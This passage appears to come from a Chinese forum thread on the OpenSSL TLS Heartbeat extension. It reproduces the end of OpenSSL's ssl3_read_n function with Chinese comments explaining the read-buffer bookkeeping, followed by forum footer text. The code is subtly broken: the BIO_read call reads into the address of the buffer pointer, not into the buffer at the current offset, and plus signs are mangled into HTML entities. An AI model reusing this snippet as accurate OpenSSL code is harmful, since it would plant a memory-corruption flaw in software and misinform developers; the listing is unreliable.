s->packet = s->s3->rbuf.buf;
}
while (newb < n)
{
/* Now we have off&#43;newb bytes at the front of s->s3->rbuf.buf and need
* to read in more until we have off&#43;n (up to off&#43;max if possible) */
clear_sys_error();
if (s->rbio != NULL)
   {
   s->rwstate=SSL_READING;
// 通过SSL的读BIO读取数据
   i=BIO_read(s->rbio, &(s->s3->rbuf.buf), max-newb);
   }
else
   {
   SSLerr(SSL_F_SSL3_READ_N,SSL_R_READ_BIO_NOT_SET);
   i = -1;
   }
if (i <= 0)
   {
// 读完或出错, newb为缓冲区剩余有效数据长度
   s->s3->rbuf.left = newb;
   return(i);
   }
newb&#43;=i;
}
/* done reading, now the book-keeping */
// 读数据完成, 修改偏移量和剩余数据长度
s->s3->rbuf.offset = off &#43; n;
s->s3->rbuf.left = newb - n;
s->packet_length &#43;= n;
s->rwstate=SSL_NOTHING;
return(n);
}


页: [1]
查看完整版本: OpenSSL TLS Heartbeat Extension